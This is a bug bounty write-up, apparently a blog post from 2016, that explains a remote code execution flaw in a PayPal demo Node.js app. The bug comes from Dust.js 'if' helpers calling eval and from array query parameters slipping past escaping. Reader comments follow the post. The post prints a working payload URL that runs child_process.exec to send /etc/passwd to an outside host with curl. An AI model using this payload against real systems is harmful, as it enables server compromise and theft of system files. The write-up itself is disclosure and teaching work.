Friday, August 19, 2016

[demo.paypal.com] Node.js code injection (RCE)

When I am trying to find vulnerabilities in web applications, I always perform fuzzing of all http parameters, and sometimes it gives me something interesting:

The demo.paypal.com server was responding differently for '\' and '%0a' requests and was throwing a 'syntax error' in responses. At the same time for single quote, double quote and other characters the server was responding with HTTP 200 OK.

From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using "if" dust.js helpers.

The old version of Dust.js supports "if" helpers, you can use them in your code like that:

And the "if" helper internally uses javascript eval, for complex expression evaluation:
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215

Eval! Yeah, why not? It's a simple and elegant solution.

So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:

Which throws a syntax error.

Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (') and double quote (") with html encoding (' -> '), so we cannot directly close the string and execute arbitrary javascript code. But let's look closer at the function that makes this replacement:

https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846

Hmmm, but what if the 's' parameter is not a string? In Node.js we can send a request like paypal.com/?device[]=1&device[]=2 and the 'device' parameter will be parsed by qs module as an Array, instead of string.

I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=' and when the server responded with 'syntax error' my chair started to shake under me.

I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends '/etc/passwd' file to my server.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'



This string was worth $10.000 for me.

22 comments:

  1. What fuzzer did you use? *exactly first pic
    thx

    ReplyDelete
  2. It's my own burp suite plugin for fuzzing, I will probably release it soon.

    ReplyDelete
    Replies
    1. Could you share the plugin for fuzzing?

      Delete
  3. Awesome work man. Now i gotta go back and look at whole bunch of stuff.

    ReplyDelete
  4. The first is a burp suite plugin? Did it produce a log that you then just read in a terminal? Wondering about why it's green on black.

    ReplyDelete
  5. He set up a netcat listener, then his code performs a curl request to his listener(server) and the curl request sends the output of 'cat /etc/passwd' as post (I think) data. It's green on black cause he has customised his terminal colours.

    ReplyDelete
  6. At the line of code " if (typeof s === 'string') ", device parameter had been parsed by qs module as an array, but how come it being parsed as string again at the line " {@if cond="'{device}' == 'desktop'"} " ? (I see leading and trailing single quote in your payload, I guess it is exist to properly enclosed the string, right?)

    ReplyDelete
    Replies
    1. >> but how come it being parsed as string again at the line " {@if cond="'{device}' == 'desktop'"}
      Array.toString() will be called.
      >> I see leading and trailing single quote in your payload, I guess it is exist to properly enclosed the string, right?
      Exactly.

      Delete
  7. Amazing... There is a lot of knowledge under that single string. It worth every single dollar!

    ReplyDelete
  8. Wonder if I'll ever get skilled enough to nice these things. I'm just starting out. That was pretty beasty though man.

    ReplyDelete
    Replies
    1. Is Burp really worth it? I've checked it out; really expensive for me at the moment, but all I hear is good things about it.

      Delete
    2. Burp suite is a swiss army knife for web vulnerability assessment. You can try a free version before buying.

      Delete
    3. The OWASP ZAP Proxy is a, relatively, good free alternative for Burp Pro. Burp has a more intuitive GUI IMO

      Delete
  9. Wonder if I'll ever get skilled enough to nice these things. I'm just starting out. That was pretty beasty though man.

    ReplyDelete
  10. Congratulations! I would love have your fuzzer. Thanks!

    ReplyDelete